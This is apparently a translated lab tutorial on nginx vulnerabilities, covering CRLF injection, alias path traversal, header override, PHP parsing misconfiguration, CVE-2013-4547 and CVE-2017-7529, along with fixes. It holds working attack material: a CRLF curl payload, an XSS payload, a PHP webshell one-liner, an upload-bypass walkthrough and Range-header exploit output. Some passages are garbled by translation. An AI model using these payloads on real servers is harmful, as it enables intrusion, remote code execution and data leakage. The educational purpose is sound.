Middleware vulnerabilities can be said to be the most easily overlooked vulnerabilities by web administrators. The reason is simple, because they are not vulnerabilities in the application code, but are caused by improper configuration or improper use of an application deployment environment. However, there are also some security issues in the official program itself during the development and use process.

When we deal with emergency response events, we often encounter a situation where the customer's website code is outsourced, that is, a third-party company is responsible for the development, while the deployment may be the responsibility of the customer's internal operation and maintenance personnel. Let’s not talk about how much they attach importance to and understand middleware security. Just talk about how to deal with vulnerabilities after discovering them, and it’s a mess. The developer shied away and said that this was not a code problem. They were completely following the security development process (SDL), so it had nothing to do with him. The operation and maintenance personnel were confused and retorted: You didn't tell me to configure it at the beginning. What, just let me install a program and it will be ok, how do I know?

When talking about middleware security issues, I think it is necessary to sort out the above relationships and concepts first. When I first came into contact with these concepts, my mind was a mess. The concepts of middleware, containers, servers, webservers, etc. felt very similar to each other, but they were different.

Web middleware container service resolution:

Web server:
The web server is used to provide http services, that is, return information to the client. It can process the HTTP protocol, respond to requests for static pages or pictures, control page jumps, or delegate dynamic requests to other programs (middleware programs) wait.

Web middleware:
Web middleware is used to provide connections between system software and application software to facilitate communication between software components. It can provide a container for one or more applications.

Web container:
The web container is used to provide an environment for the application components (JSP, SERVLET) in it. It is a component of middleware and implements the parsing of dynamic languages. For example, tomcat can parse jsp because there is a jsp container inside it.

Common components:

Web server: IIS, Apache, nginx, tomcat, weblogic, websphere, etc.
Web middleware: apache tomcat, BEA WebLogic, IBM WebSphere, etc.
Web container: JSP container, SERVLET container, ASP container, etc.

Note: Web middleware and web servers overlap because web middleware such as tomcat also has the function of a web server.

To put it bluntly, web middleware is a program that runs on the server. Its function is to provide the server with a solution for parsing http or https requests. It acts as a middleman, determining which file the information transmitted by the front end should be handed over to the back end for processing, and returns the results to the front end.

For its control, most of the time we use configuration files to control it in the LINUX environment. This means that certain misconfigurations can lead to security vulnerabilities. And as a program, it must have some security vulnerabilities of its own. The above two directions are the basic understanding we should have when studying any middleware vulnerability.

Today we will first take a look at some vulnerabilities that have appeared in nginx. The environments are all from the vulhub official website. It is a vulnerability environment integration library based on docker, which is very helpful for our study~

Three nginx vulnerabilities caused by improper configuration

root㉿killer)-[~/vulhub/nginx/insecure-configuration/configuration]
docker-compose up -d

As a vulnerability caused by improper configuration, it naturally affects all versions of nginx. Such small problems can easily be ignored.

1.CRLF injection vulnerability caused by $uri

The following two scenarios are very common:

User visits http://example.com/aabbcc, automatically jumps tohttps://example.com/aabbcc
User visits http://example.com/aabbcc, automatically jumps tohttp://www.example.com/aabbcc

The second scenario is mainly to unify the domain names visited by users, which is more beneficial to SEO optimization.

During the jump process, we need to ensure that the page visited by the user remains unchanged, so we need to obtain the file path requested by the user from Nginx. Looking at the Nginx documentation, you can find that there are three variables representing uri:

$uri
$document_uri

$request_uri

location / {
    return 302 https://$host$uri;
}
#因为`$uri`是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

To explain, 1 and 2 represent the decoded request path without parameters; 3 represents the complete URI (without decoding). Then, if the operation and maintenance configures the following code:

location / {
    return 302 https://$host$uri;
}
#因为`$uri`是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

Because $uri和$document_uriit is the decoded request path, it may contain newlines, causing a CRLF injection vulnerability.

1.1 How to use:

We send a request with %0d%0a encoding during the request process:

#请求内容
curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
#测试结果
[root@blackstone insecure-configuration]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Thu, 12 Jan 2023 12:18:16 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/
Set-Cookie: a=1

We modified the request through the above method. By using this vulnerability, we can see that a set-cookie is returned. In other words, incorrect use of $uri configuration will cause the user's request to be silently tampered with by hackers.

We can see another possibility by using burp packet capture: after we send two consecutive line feeds\r\n , we can directly modify the return body of the return message. Inserting js code triggers xss.

1.2 Modification plan :

When obtaining the user's request path, the configuration that appears in the configuration file should be $request_uri, for example:

location / {
    return 302 https://$host$request_uri;
}

because$request_uri和上边1和2相反，表示的是完整的uri并不会解码。

In addition, $urithe CRLF injection vulnerability caused by this may not only appear in the above two scenarios. In theory, this problem will occur in any scenario where HTTP headers can be set.

Test the effect:

#1.编辑配置文件，投放进docker
[root@blackstone configuration]# cat fix1.conf
server {
        listen 8080;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

        location / {
                return 302 http://$host:$server_port$request_uri;
        }
}

#2.将配置文件放到特定目录，重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# cp fix1.conf /etc/nginx/conf.d/
root@fa2e43aabeec:/# rm -f /etc/nginx/conf.d/error1.conf 
root@fa2e43aabeec:/etc/nginx/conf.d# nginx -s reload


#3.查看效果，确实可以有效消除CRLF的影响
[root@blackstone ~]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Wed, 08 Feb 2023 18:44:14 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1

2. Directory traversal vulnerability:

This is common when Nginx is used as a reverse proxy. The dynamic part is passed to the backend port by proxy_pass, while the static files need Nginx to process.

Assuming that the static files are stored in the /home/ directory, and the name of the directory in the URL is files, then you need to use alias to set the alias of the directory:

location /files {
    alias /home/;
}

2.1 Utilization method

At this point, http://example.com/files/readme.txtyou can access /home/readme.txtthe file.

/filesBut we noticed that there is no suffix on the url /, and the alias setting /home/has a suffix /. This /allows us to /home/traverse from the directory to its upper directory:

At this point we have obtained a directory traversal vulnerability, which can download any file, such as php mysql and so on.

Although some MySQL prohibits remote login, you can use the MySQL username and password to perform social engineering. If the MySQL password is relatively strong, then the password of other systems may also be the same password. Of course, this is just a bad conjecture or guess.

2.2 Solutions

During the configuration of alies, be sure to ensure that the matching path after location is consistent with the alias path. Otherwise, such a path traversal vulnerability will occur.

3.HTTP header is overwritten:

As we all know, the Nginx configuration file is divided into some configuration blocks such as Server, Location, If, etc., and there is an inclusion relationship, which is similar to a programming language. Some options configured in the outer layer can be inherited to the inner layer.

But the inheritance here also has some features, such as add_header. After configuration in the child block, it will overwrite all HTTP headers added by add_header in the parent block , causing some security risks.

As shown in the following code, the Server block adds the CSP header:

server {
    ...
    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

    location = /test1 {
        rewrite ^(.*)$ /xss.html break;
    }

    location = /test2 {
        add_header X-Content-Type-Options nosniff;
        rewrite ^(.*)$ /xss.html break;
    }
}

However, the X-Content-Type-Options header is added to the location of /test2, and nginx only loads the header modification information inside the module, which will result in the add_header Content-Security-Policy "default-src ' configured in the parent block. self'"; cannot take effect in /test2. Thus, /test2 cannot obtain the defense function.

3.1 How to use:

Inside the vulnerability environment here, XSS vulnerability points are deployed. The configuration of the add_header Content-Security-Policy "default-src 'self'"; header can theoretically prevent XSS attacks. However, due to the configuration error in the /test2 directory, this configuration does not take effect in this directory. Therefore, XSS can still be used for attacks.

#这是转到的JS文件，获取锚点也就是#后面的内容添加到<p>标签内部
window.onload = function() {
    var m = document.getElementById('m');
    m.innerHTML = location.hash.substr(1);
}

This thing will escape the written xss.

So it can be written as:

http://127.0.0.:8082/test2#<script>alert(1)</script>

However, the new version of the browser has some restrictions on XSS attacks. We can find out using the old browser:

As you can see, the defense mechanism of /test2 is not actually turned on. However, the XSS trigger scheme in the example has been defended by the browser.

3.2 Modification plan:

When modifying the configuration header information, subdivide it into the smallest blocks, so as to ensure that the header configuration of each small block is correct to the greatest extent. Of course, you can also write to the parent block, but when making personalized header modifications to the child block, remember to copy the header configuration in the parent block to the child block.

To put it more clearly, it is about the modification operation of header. Not within the scope of nginx configuration inheritance. Once the sub-block is modified, the final called configuration is only found inside the sub-block.

Modify the configuration file to:

#1.直接在宿主机上修改对应文件也生效(配置文件是从宿柱机链进去的，具体可以看.yml文件)
[root@blackstone configuration]# pwd
/root/vulhub-master/nginx/insecure-configuration/configuration
#2.修改文件
[root@blackstone configuration]# cat error3.conf
server {
        listen 8082;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

    autoindex on;

    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

        location = /test1 {
                rewrite ^(.*)$ /xss.html break;
        }

    location = /test2 {
        add_header X-Content-Type-Options nosniff;
        add_header Content-Security-Policy "default-src 'self'";
        add_header X-Frame-Options DENY;
        rewrite ^(.*)$ /xss.html break;
    }
}
#3.进入docker重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# nginx -s reload

When tested again, it was found that text2 and script could not be executed.

4.nginx parsing vulnerability:

Strictly speaking, the probability of this vulnerability occurring is approximately 0, and it even feels very deliberate. Please see:

The two combined together will 100% cause a file upload vulnerability when the web page has a file upload function. It is a high-risk configuration technique. For this example, you may need to take a look at the principle of nginx parsing PHP.

In summary, the cause of the vulnerability is to enable path repair and image suffix name resolution at the same time (or directly configure the resolution to empty)

[root@blackstone nginx_parsing_vulnerability]# cd /root/vulhub-master/nginx/nginx_parsing_vulnerability
[root@blackstone nginx_parsing_vulnerability]# docker-compose up -d

Nginx parsing vulnerability:

Affected versions : All versions

Impact description : Command execution, obtaining server web permissions

Environment description : Nginx 1.13.0

Environment construction : This environment is built using docker environment, and the environment uses the address Vulhub

4.1 Reasons for the vulnerability:

The occurrence of Nginx parsing vulnerability has nothing to do with the Nginx version. The vulnerability is caused by PHP configuration issues. The following appears

# php.ini 目录修复，如果没找到则向上一级文件查找修复，为路径修复！
cgi.fix_pathinfo=1
# php-fpm.conf 开启.php后缀和.jpg后缀解析功能，或者有一个可能，他压根为off或者空，压根没写也可以解析。
security.limit_extensions = .php .jpg

Path repair and PHP-fpm enabled the image jpg or gif or even no file opened at all, it can be parsed, stupid

When accessing http://127.0.0.1/test.jpg , an image parsing error is displayed. When accessing http://127.0.0.1/test.jpg/test.php , the result is Access denied. This echo is very strange. Access is normal. This link does not exist. Normal thinking should be 404. Here we need to study the parsing process of Nginx: when Nginx receives the /test.jpg/test.php path, it first determines the file type and finds that the suffix is .php. Then it was handed over to PHP for processing, but when PHP wanted to parse the file, it found that it did not exist, so it deleted /test.php and looked for test.jpg. At this time, test.jpg existed, so it tried to parse it, but Unfortunately, the suffix is .jpg, not php, so an Access denied error is reported. One point mentioned in the above process is to delete /test.php. This is the "repair" mechanism of Nginx, which is determined by the parameter cgi.fix_pathinfo. When the value is 1, "repair" is performed. For example, the file name is /aa.jpg/bb.png/cc.php. If cc.php does not exist, look for /aa.jpg/bb.png. If it does not exist, look for aa.jpg. If it exists, treat it as for php files. So far we have not successfully exploited the parsing vulnerability because the PHP code is not executed. why? Because it is not defined in the PHP configuration, the php code in the .jpg file is also parsed into php, which is defined in security.limit_extensions. Due to the introduction of security.limit_extensions, the vulnerability is difficult to exploit.

The demonstration is as follows:

Try adding a /.php?

ok, it's that simple. But it is unlikely that this thing will appear.

This effect is achieved thanks to stupid configuration.

We can construct a <?php phpinfo(); system($_GET['var']); ?> picture horse, then we can complete var=whomai

5. Vulnerabilities in nginx itself

What we can do about the vulnerabilities of the program itself is to upgrade the version and keep the program up to date at all times, so that we can minimize the risk. The fixes for the following vulnerabilities will not be described in detail.

5.1 File name logic vulnerability (CVE-2013-4547)

Affected versions: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
Environment location: /nginx/CVE-2013-4547

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
security.limit_extensions in php-fpm.conf is empty, which means that any suffix name can be parsed into PHP

5.1.1 Cause of vulnerability

Nginx has a larger version range and is easier to match, but the security.limit_extensions configuration of php-fpm.conf defaults to php. Generally, few administrators allow all types to be parsed into PHP, so this vulnerability is relatively useless, but this is in Linux In the server, it has a great impact on Windows. We will talk about this later, but first let’s talk about the steps to reproduce under Linux.

5.1.1.1 Pre-knowledge of vulnerabilities

To understand this vulnerability, we first need to understand the principle of nginx parsing php. Here is a picture:

Several definitions in the picture:

CGI: CGI is a protocol that defines the data format passed by Nginx or other Web Servers. The full name is (Common Gateway Interface, CGI). CGI is an independent program, independent of WebServer, and can be written in any language. CGI programs, such as C, Perl, Python, etc.
FastCGI: FastCGI is a protocol. Its predecessor is CGI. It can be simply understood as an optimized version of CGI, with more stability and performance.
PHP-CGI: It is just a PHP interpreter. It can only parse requests and return results, but does not do process management.
PHP-FPM: The full name is FastCGI Process Manager. You can tell by looking at the name that PHP-FPM is the manager of the FastCGI process. But as mentioned earlier, FastCGI is a protocol and not a program, so it manages PHP-CGI, forming a process similar to PHP -The concept of CGI process pool.
Wrapper: The letters mean packaging. Who is wrapping it? The package is FastCGI. After receiving the request through the FastCGI interface, the Wrapper will generate a new thread and call the PHP interpreter to process the data.

The process of Nginx calling PHP is relatively complicated and requires a lot of time to learn and sort out. Through the schematic diagram and the definition just now, we have a general understanding of Nginx processing PHP requests. So, how does Nginx know what kind of files to process as PHP files? It is in the nginx.conf configuration file:

location ~ \.php$ {
    root           html;
    include        fastcgi_params;

    fastcgi_pass   IP:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

\.php after locating is a regular rule, which means that files ending with .php must be executed according to the commands in brackets. Fastcgi is a protocol, which can be understood concretely as a medium and communication method between nginx and php. Kind of like a routing protocol but not quite. nginx sends the request to PHP-fpm via fastcgi. Among them, nginx and fastcgi_pass do not need to be on the same server, and fastcgi_pass is used to communicate in the form of ip and port.

5.1.1.2 Vulnerability triggering conditions:

As the corresponding version of the program, there are certain flaws in parsing the URL. We request wbe-php.jpg[0x20][0x00].php . This URI can match the regular \.php$ and can enter the Location block; but After entering, Nginx mistakenly believed that the requested file was 1.jpg[0x20] , so it set the value of SCRIPT_FILENAME and sent it to fastcgi. In other words, the file name received by the back-end PHP code during processing is web-php.jpg.

At the same time, looking at the configuration file of php-fpm, you can see:

Let’s take a look at the suggestions given by the official configuration file:

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点，在设置解析时，为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

With the support of this vulnerability, we can use nginx's misjudgment of truncation symbols to easily upload illegal files to bypass PHP's detection, and add the incorrect configuration in the php-fpm configuration file. It is possible to upload illegal webshell or implement RCE.

5.1.2 How to actually use:

Open the shooting range: docker-compose -d

Looking at the source code of this file upload point, I found that there are strict but not strict restrictions on it:

<?php
if (!empty($_FILES)):

// Check for errors
if($_FILES['file_upload']['error'] > 0){
    die('An error ocurred when uploading.');
}

// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
    die('File is not uploaded file');
}

//字符过滤防御文件上传漏洞
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif

But we can use cev-2013-4547 to bypass it.

Use vscode to construct a jpg file that contains the get method of php. Turn on the loopback proxy and use burp to capture the uploaded package, as follows:

Find the line in the jgp.php file, 2e represents. 70 60 70 represents php (16 mechanism), add 20 and 00 in front to represent spaces and stages, similar to [0x20][0x00] in the C language above

ps: Because php is written in c, some contents of c can be recognized by php

After Ook changed it, it was only enough to go:

You can find that there is a space after the jpg that has been uploaded successfully, and it is truncated and cannot be seen ~

But this is just uploading. After uploading, when we access the file, we need to add php to the suffix to execute the attack command. If you embed system[$get'var'] in an image file, the consequences will be natural~

5.2Nginx out-of-bounds read cache vulnerability (CVE-2017-7529)

Affected versions : Nginx 0.5.6 ~ 1.13.2

Impact statement : Information leakage

Environment description : Nginx 1.13.2

Environment construction : This environment is built using docker environment, and the environment uses the address Vulhub

5.2.1 Causes

When Nginx serves as a reverse proxy site, it usually caches some files, especially static files. The cached part is stored in a file, and each cached file includes "file header" + "HTTP return packet header" + "HTTP return packet body". If the second request hits the cache file, Nginx will directly return the "HTTP return package body" in the file to the user.

If my request contains the Range header, Nginx will return content of the specified length based on the start and end positions I specify. And if I construct two negative positions, such as (-600, -9223372036854774591), it will be possible to read data at negative positions. If this request hits the cache file again, you may be able to read the "file header", "HTTP return package header" and other contents located before the "HTTP return package body" in the cache file.

To be honest, the harm of such a vulnerability is almost zero, because the cached files are usually their own static files and are not sensitive. But it did cause the user's cache information to be leaked. Worth a look.

The reason for the Nginx out-of-bounds read cache vulnerability is that when Nginx reads an http request, if it contains range, then Nginx will read the file data content according to the data range specified by the range. If the range is a negative number and the cache file is read, then Nginx will Return the "file header" or "HTTP return header" in the cache file. The cache file header may contain the IP address of the backend server or other sensitive information, leading to information leakage.

5.2.2 Concept introduction:

0×1

HTTP return header: httprespons

HTTP return package body: It is the specific file requested, such as a web page resource, content embedded in the web page, etc.

What is content-range?

What is range? Exists in the HTTP request header, indicating part of the content of the requested target resource, such as requesting the first half of a picture. The unit is byte. In principle, it starts from 0, but today's introduction can be set to a negative number. Typical application scenarios of range include: resuming interrupted downloads and requesting resources in batches.

Content-range expression:

Range:bytes=0-1024 means accessing bytes 0 to 1024;
Range:bytes=100-200,601-999,-300 means accessing in three blocks, namely 100 to 200 bytes, 601 to 600 bytes, and finally 300 bytes;
Range:-100 means accessing the last 100 bytes

range represents in HTTP Response:

Accept-Ranges:bytes indicates accepting a request for some resources;
Content-Range: bytes START-END/SIZE START-END indicates the start and end position of the resource, and SIZE indicates the length of the resource.

What is cache?

Introduction to distributed cache

When requesting a server resource, if it exists in the cache server, it will be returned directly without accessing the application server, which can reduce the load on the application server. For example, for the cache of the home page of a website, the default cache path of nginx is under /tmp/nginx. For example, when requesting a server resource, if it exists in the cache server, it will be returned directly without accessing the application server, which can reduce the load of the application server. . For example, for the cache of the homepage of a website, the default cache path of nginx is under /tmp/nginx, for example:

When accessing the page again, the cached content will be read first, and other static resources such as images, CSS, JS, etc. will be cached.

5.2.3 Vulnerability Exploitation:

1. Now I want to read the cache file header I just mentioned. Its Content-Length is 612, so the range when I read the normal cache file is set to

Range: bytes=0-612

Use the curl tool to test the command as follows. After execution, it is found that the returned content is normal.

curl -i http://127.0.0.1:8080 -r 0-612

2. Next, read the cache header and read the first 600 bytes, that is

range=content_length + offset length
, that is:
range = 612 + 600
, the negative value is -1212

At this time, we know that the start of the range is -1212, but what about the end? The source code of nginx uses 64-bit signed integers when declaring start and end, so the maximum can be expressed:

-2^63-2^63-1
is
-9223372036854775808 to 9223372036854775807

So as long as start+end is 9223372036854775807, so:

end = 9223372036854775808 -
The negative of 1212
is -9223372036854774596

The execution result is as shown in the figure below. It can be found that the cache file header is read, and the 8081 port inside may be other addresses in actual business scenarios, which may cause information leakage.

[root@blackstone CVE-2017-7529]# python3 poc.py http://192.168.247.150:8080/

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

A@�cb`RY�=�cr�\me"59526062-264"
KEY: http://127.0.0.1:8081/
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Thu, 09 Feb 2023 00:27:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854773979-611/612

Analysis of common vulnerabilities in nginx

What is middleware? What is a middleware vulnerability?